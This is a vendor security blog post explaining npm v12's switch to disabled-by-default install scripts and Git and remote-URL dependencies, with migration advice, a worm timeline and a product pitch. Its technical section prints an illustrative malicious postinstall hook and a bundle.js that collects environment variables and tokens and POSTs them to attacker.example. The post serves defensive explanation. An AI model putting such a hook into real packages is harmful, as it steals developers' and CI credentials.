Back to blog

npm v12: how switching off one install-time default cuts the legs out from under almost every recent npm worm

· · 19 min read
npm v12: how switching off one install-time default cuts the legs out from under almost every recent npm worm

On June 9, 2026, GitHub published the list of breaking changes coming in npm v12, the next major release of the world's most-used package manager, due to land around July 2026. The headline change is small to describe and enormous in consequence: npm install will no longer run a dependency's preinstall, install, or postinstall scripts unless you have explicitly allowed that package. Git dependencies and remote-URL tarballs will likewise be refused by default. For maybe a decade, those lifecycle scripts were the single most reliable way to get attacker code executing on a developer laptop or a CI runner, and npm is about to turn them off for everyone at once. The number that explains why: the September 2025 compromise of the maintainer behind chalk and debug poisoned 18 packages with a combined 2.6 billion weekly downloads, and the malware ran from a postinstall hook.

This is a slightly different kind of write-up than usual. There is no single CVE here, no one allocation-versus-write mismatch to dissect. The subject is a defensive change to shared infrastructure, and the interesting question is not "what is the bug" but "which class of attack does this kill, which does it merely inconvenience, and what is left standing." So the breakdown is still two-layered: a first part for the people who have to decide this week whether their builds are about to break and what to do about it, and a second part that walks through exactly how the npm install lifecycle was abused, what v12 changes at the mechanism level, and where the remaining gaps are. As always, the article closes by looking at how the Pragma Core platform addresses the same class of problem that made these attacks possible in the first place.


Part I. Executive breakdown

What happened

When you run npm install, npm does more than copy files into node_modules. Packages are allowed to declare lifecycle scripts, small commands that npm runs automatically at defined moments. The most important ones for this story are preinstall, install, and postinstall, which fire while a package is being installed, before anyone has imported a single line of that package's actual code. The original purpose was reasonable: native modules need to compile C++ against your local Node headers, some packages need to download a platform-specific binary, and so on.

The problem is that "run an arbitrary command automatically the moment this package lands on disk" is also a perfect description of how you would want malware to behave. An attacker who can publish a malicious version of a package, whether by stealing a maintainer's token, phishing their login, or compromising a package nobody maintains anymore, gets their code executed on every machine that installs it, including continuous-integration runners that hold cloud credentials and publish tokens. The victim never has to import or call anything. Installing is enough.

npm v12 flips the default. Lifecycle scripts from dependencies will not run unless the package is on an allowlist you have explicitly approved and committed. Git-based dependencies and dependencies fetched from arbitrary HTTPS URLs are similarly blocked unless you opt in. The poisoned package can still land in node_modules, but on a v12 machine it sits there as inert files instead of executing. The attacker's most dependable trigger is gone.

Who is affected

This change touches almost everyone who runs npm install, but the impact splits cleanly into "your builds might break and you need to do a one-time fix" and "you are now meaningfully safer." The table below is the first group's reference.

Component Status
Projects with native modules (node-gyp, node-sass, esbuild, sharp) Action needed: allowlist the build scripts via npm approve-scripts before upgrading CI to v12
Monorepos using git:, file:, or link: dependencies with a prepare step Action needed: prepare scripts from these sources no longer run; allow them explicitly
Projects depending on Git URLs directly or transitively Action needed: opt in with --allow-git, available since npm 11.10.0
Projects pulling tarballs from remote HTTPS URLs Action needed: opt in with --allow-remote, available since npm 11.15.0
Pure-JavaScript apps with no install scripts in the tree Safer by default, likely no action
CI/CD pipelines running untrusted or frequently-updated dependencies Materially safer; the most valuable beneficiary

The reason this matters at scale: almost every npm worm and credential stealer of the last year ran at install time rather than at runtime. The September 2025 Shai-Hulud worm spread through a postinstall script and reached more than 500 packages. Its November successor, Shai-Hulud V2, moved to the preinstall hook and within hours had compromised over 700 packages, spun up more than 27,000 malicious GitHub repositories, and exposed roughly 14,000 secrets across 487 organizations. Disabling these hooks by default does not patch a single package. It removes the doorway all of them used.

Why this matters beyond npm

The pattern here is not specific to JavaScript. Almost every package ecosystem grants packages the right to run code at install time: Python's setup.py executes on pip install for source distributions, RubyGems has extconf.rb and native extension builds, and many others. The npm decision is significant precisely because npm is the largest of these registries by a wide margin, so its default becomes a de facto standard that other ecosystems will be pressured to match.

The deeper lesson is about the gap between a feature's intended use and its actual blast radius. Install scripts exist to serve a small minority of packages that genuinely need to compile or fetch something. The cost of that convenience was paid by the entire ecosystem in the form of an always-armed code-execution primitive. When a capability is granted by default to all in order to serve the few, attackers gravitate to it, and the only durable fix is to make the capability opt-in.

Recommended actions

  1. Plan to move to npm v12 when it releases (estimated July 2026), and test the upgrade in CI first, because this is where install-time breakage will surface.
  2. Before upgrading, run npm approve-scripts --allow-scripts-pending against your projects to enumerate which dependencies actually need install scripts, then approve only the ones you trust with npm approve-scripts. The resulting allowlist is recorded in package.json and committed like any other config.
  3. Inventory your use of Git and remote-URL dependencies now. If you rely on them, adopt --allow-git and --allow-remote ahead of time so the change to default behavior does not surprise a release pipeline.
  4. Independently of v12, finish the token migration GitHub already shipped: classic npm tokens were permanently revoked on December 9, 2025, write-enabled granular tokens are capped at a 7-day lifetime, and npm login now issues a short-lived session token. Move publishing to trusted publishing (OIDC) so there is no long-lived secret to steal.
  5. Enforce two-factor authentication on every account with publish rights, and prefer FIDO-based 2FA over TOTP, which GitHub is deprecating for being phishable.
  6. Treat your CI runners as the high-value target they are. They install dependencies and hold the credentials worms hunt for, so scope their secrets tightly and assume any install-time code execution there is a full compromise.

Part II. Technical breakdown

The npm install lifecycle, and the invariant it never had

To understand what v12 changes, you have to understand what npm has always promised, and what it never promised. When you run npm install, npm resolves the dependency tree, downloads each package tarball, extracts it into node_modules, and then, at defined points, executes any lifecycle scripts those packages declare in the scripts field of their package.json. The relevant hooks for installation are preinstall (before the package's dependencies are installed), install (during), and postinstall (after). There is also prepare, which runs for packages installed from a Git or local source.

These scripts run with the full privileges of the user performing the install, in the working directory of the project, with whatever environment variables that process can see. On a developer machine that means access to SSH keys, cloud credential files, and browser-adjacent secrets. On a CI runner it means access to the very tokens used to publish the next release. The design invariant most developers assume, "installing a package is safe; running it is where risk begins," was never actually true. npm has always run code at install time. The ecosystem simply got used to it.

The vulnerability is the default, not a line of code

There is no buggy function to quote here, which is exactly the point. The vulnerable surface is a policy: any dependency, at any depth in the tree, may declare a script that runs automatically. A malicious package version needs only this in its manifest:

{
  "name": "popular-utility",
  "version": "4.2.1",
  "scripts": {
    "postinstall": "node bundle.js"
  }
}

Paired with a bundle.js that does the real work:

// bundle.js, runs automatically on `npm install`
const os = require("os");
const https = require("https");

// Harvest the environment the install runs in
const loot = {
  env: process.env,                 // NPM_TOKEN, GITHUB_TOKEN, AWS_*, GCP_*
  host: os.hostname(),
  user: os.userInfo().username,
};

// Exfiltrate to attacker infrastructure, then keep spreading
https.request("https://attacker.example/collect", { method: "POST" })
  .end(JSON.stringify(loot));

That is the entire primitive. No memory corruption, no clever parser confusion. The attacker's only hard problem is getting a malicious version published, and the recent campaigns solved that with stolen tokens and phishing rather than with any flaw in npm itself. The 2025 Shai-Hulud worm closed the loop by having its install-time payload use the harvested npm and GitHub credentials to publish trojanized versions of the victim's own packages, turning each infection into a new distribution point. A self-replicating supply chain worm is, mechanically, just this snippet plus the credentials it steals.

What v12 actually changes

npm v12 introduces a setting, allowScripts, that defaults to off. The changelog is precise about the consequence: npm install will no longer execute preinstall, install, or postinstall scripts from dependencies unless they are explicitly allowed. That deliberately includes native node-gyp builds and prepare scripts from Git, file, and link dependencies, because the platform cannot tell a legitimate native build apart from a malicious payload by inspection. Both are "run this command on install," so both are blocked unless you vouch for the specific package.

The migration path is an allowlist workflow. You first ask npm to tell you what would be blocked:

# Enumerate every dependency whose install scripts are now suppressed
npm approve-scripts --allow-scripts-pending

Then you approve only what you trust, or explicitly deny the rest:

# Allow a specific, trusted package to run its install scripts
npm approve-scripts esbuild

# Refuse a package outright
npm deny-scripts some-suspicious-pkg

The decisions are written into package.json and committed, so the allowlist becomes part of the project's reviewed configuration rather than an ambient property of whoever ran the install. The security gain is structural: adding a new package that wants to run install scripts now requires a visible, diffable change that a reviewer can question, instead of silently inheriting code execution from a transitive dependency five levels deep.

Git and remote-URL dependencies, and a subtle bypass

Two further defaults change alongside install scripts, and one of them closes a bypass that mattered. Git dependencies, direct or transitive, will not be resolved unless allowed with --allow-git, a flag available since npm 11.10.0. The reason given is sharper than "Git is risky in general": a project's .npmrc could override the Git executable npm invokes, and that override fired even when the user had passed --ignore-scripts. In other words, the old advice of "install with --ignore-scripts to stay safe" had a hole in it for Git dependencies. Making Git resolution opt-in closes that hole.

Dependencies fetched from remote URLs, such as HTTPS tarballs, direct or transitive, are likewise blocked unless you pass --allow-remote, available since npm 11.15.0. This matters because a remote tarball is content the registry never saw and the lockfile's integrity story is weaker for, so an attacker who can influence such a URL gets a path that the registry's own controls do not cover. Turning it off by default narrows the install surface to what the registry actually served.

The complementary half: killing the credentials that feed the worm

Disabling install scripts removes the trigger. The other half of GitHub's program, shipped through late 2025, removes the fuel, because every recent worm ran on stolen long-lived credentials. The changes are worth listing because they are the precondition for trusted publishing actually being safer:

Read together, the two halves attack the worm from both ends. Install scripts off means the payload does not run on the victim. Short-lived, OIDC-backed credentials mean that even if a payload does run somewhere, it captures far less that is reusable, and a self-replicating loop that depends on harvesting a durable publish token gets much harder to sustain.

Affected versions

Timeline

Date Event
2025-08 Nx "s1ngularity" attack uses a stolen publish token to inject postinstall scripts, harvesting roughly 2,300 credentials
2025-09 Maintainer account compromise poisons chalk, debug, and 16 other packages (2.6 billion weekly downloads combined); first Shai-Hulud worm spreads via postinstall to 500+ packages
2025-10 Write-enabled granular tokens capped at 7-day lifetime; TOTP and token changes begin enforcement
2025-11-24 Shai-Hulud V2 detected; pivots to preinstall, hits 700+ packages, 27,000+ malicious repos, ~14,000 secrets across 487 orgs
2025-12-09 All classic npm tokens permanently revoked; session-based npm login and CLI token management ship
2026-06-09 GitHub publishes the npm v12 breaking-changes announcement
2026-07 npm v12 estimated release with install scripts, Git, and remote URLs off by default

A note on the methodology behind the change

This is not a vulnerability that was fuzzed out of a parser. It is the product of incident response at scale: GitHub's security team watched two waves of a self-replicating worm move through the registry in a single quarter, correlated the campaigns, and concluded that the common denominator was not any one stolen token but the install-time execution primitive that every campaign reused. The meta-lesson for the AppSec community is that the most valuable findings are sometimes not new bugs but recognized patterns across incidents. The fix here is a policy change justified by telemetry, and it is more impactful than patching any individual package would have been, because it changes the economics for the next attacker rather than cleaning up after the last one.


What we should learn from npm v12

  1. Insecure defaults are the real attack surface. The install-script primitive was not a bug in any function; it was a default that granted code execution to every dependency to serve the few that needed it. Audit your toolchain for capabilities that are on by default and ask who actually needs them.
  2. Installing is executing. Across npm, pip, gem, and others, fetching a dependency can run code before you ever import it. Treat dependency installation, especially in CI, as a code-execution event and isolate it accordingly.
  3. A bypass is only as good as its edge cases. The .npmrc Git-executable override that survived --ignore-scripts shows that a mitigation with one uncovered path is a mitigation attackers will route around. Test your safety flags against the obscure resolution paths, not just the common one.
  4. Long-lived credentials are worm fuel. Self-replicating supply chain attacks depend on harvesting reusable publish tokens. Short-lived, job-scoped, OIDC-backed credentials do not just reduce theft impact; they break the replication loop.
  5. The most fragile relationships are transitive. The package you reviewed is rarely the one that hurts you; it is the dependency five levels down that quietly declared a postinstall. Visibility into the full transitive tree, and into which parts of it execute code, is the control that actually maps to this risk.

How Pragma Core addresses this class of problem

npm v12 is a strong, blunt instrument: it turns off a dangerous default for everyone. But it does not answer the questions that matter to a specific organization, which dependencies in our tree run install scripts today, which transitive packages we could not name if asked, which repositories would break the moment v12 lands, and whether a poisoned version of something we already trust just shipped. Pragma Core is built for exactly that kind of question, the kind that lives in the relationships between packages, services, and trust boundaries rather than in a single flagged line. It connects to GitHub, GitLab, and Azure DevOps and runs continuous scanning, dependency tracking, and AI-driven research over the whole tree.

Continuous tracking of third-party packages

The recent worms succeeded because organizations could not answer "do we depend on chalk, debug, or any of the 700-plus packages, directly or transitively, and at which versions" fast enough to matter. Pragma Core's dependency tracker maintains that answer continuously across every connected repository, surfacing affected packages with CVSS context and fixed upgrade paths the moment a compromised version enters the catalog, including dependencies buried deep in the transitive tree where a rogue postinstall is most likely to hide.

Full SBOM per repository

When a Shai-Hulud-style campaign breaks on a Friday afternoon, response time is dominated by inventory: which of our repositories pull the affected package, and which version is each one pinned to. Pragma Core generates a complete, per-repository SBOM (libraries, versions, licenses, package URLs, exportable as CycloneDX JSON), so that question is already answered before the incident starts, rather than reconstructed under pressure while a worm is still publishing.

Interactive call graphs with vulnerability overlay

The danger of an install script is that it executes before any import, so reasoning about "does our code call into this" is not enough. Pragma Core auto-generates call graphs for connected repositories and overlays findings, making it visible where untrusted dependency code sits in the tree and where harvested values, like the environment variables and tokens these payloads target, would flow if executed. That turns "we have a long lockfile" into "here is exactly where an install-time payload would land and what it could reach."

Autonomous AI agents for attack chain investigation

Off-the-shelf scanners stop at a single flagged line. Pragma Core's autonomous agents reason over the chain, asking the questions that would have surfaced this risk in advance: which dependencies in this repository declare install scripts, which of those are transitive and unreviewed, which CI jobs install them with high-value secrets in scope, and what an attacker who achieved install-time execution there could reach next. That is the same investigative loop GitHub's incident responders ran across the ecosystem, applied continuously to one organization's code.

SAST tuned for the relevant pattern, not just injection sinks

Classic SAST hunts for taint flows that end in a SQL or shell sink and is blind to "this dependency runs a script at install time" because that is a configuration and trust property, not a code path in your own source. Pragma Core's static analysis can be tuned to the pattern that matters here: dependencies that declare lifecycle scripts, packages resolved from Git or remote URLs, and credentials reachable from a CI install step, each a high-confidence finding rather than an afterthought.

Human-guided AppSec investigations

Some questions are judgment calls, like whether a given native-build script is genuinely needed or whether a Git dependency should be replaced before v12 forces the issue. Pragma Core's expert-led research module lets an AppSec operator drive that investigation, backed by the autonomous agents and the workspace context already in place. It is the systematic, repeatable version of the one-off analysis a security team would otherwise scramble to do the week a worm hits.


Closing thoughts

npm v12 is not, fundamentally, a change about install scripts. It is a change about who gets to run code on your machine by default, and the answer was wrong for a very long time. Every ecosystem that lets a package execute during installation carries the same latent primitive, and every organization that cannot enumerate what its transitive dependencies do at install time carries the same latent exposure. The same shape, a convenient default that quietly grants a dangerous capability to everyone in order to serve a few, lives all over modern build and deployment pipelines.

The difference between reading this as ecosystem news and using it as an audit trigger comes down to AppSec maturity and code visibility: whether you can answer, today, which of your repositories run install scripts, which depend on the packages that were poisoned, and which CI jobs would hand a worm a reusable token. Organizations that want to move from "we scan and report" to "we systematically investigate what is fragile" can reach Pragma Core at pragma-core.com for a demo.


Sources

Related posts
CVE-2026-74820: how an unsanitized ORDER BY clause turned ServiceNow's AI Platform into an unauthenticated database backdoor
Sep 18, 2026
CVE-2026-85978: how one path normalization mismatch turned Akana's admin console into unauthenticated remote code execution
Sep 9, 2026
CVE-2026-78174: how an unredacted session token in a diagnostic log turned a low-privileged WatchGuard Dimension admin into super admin
Sep 1, 2026

Start securing your codebase today

Connect your repositories and let AI agents handle continuous scanning, research, and triage.

Have questions? Get in touch →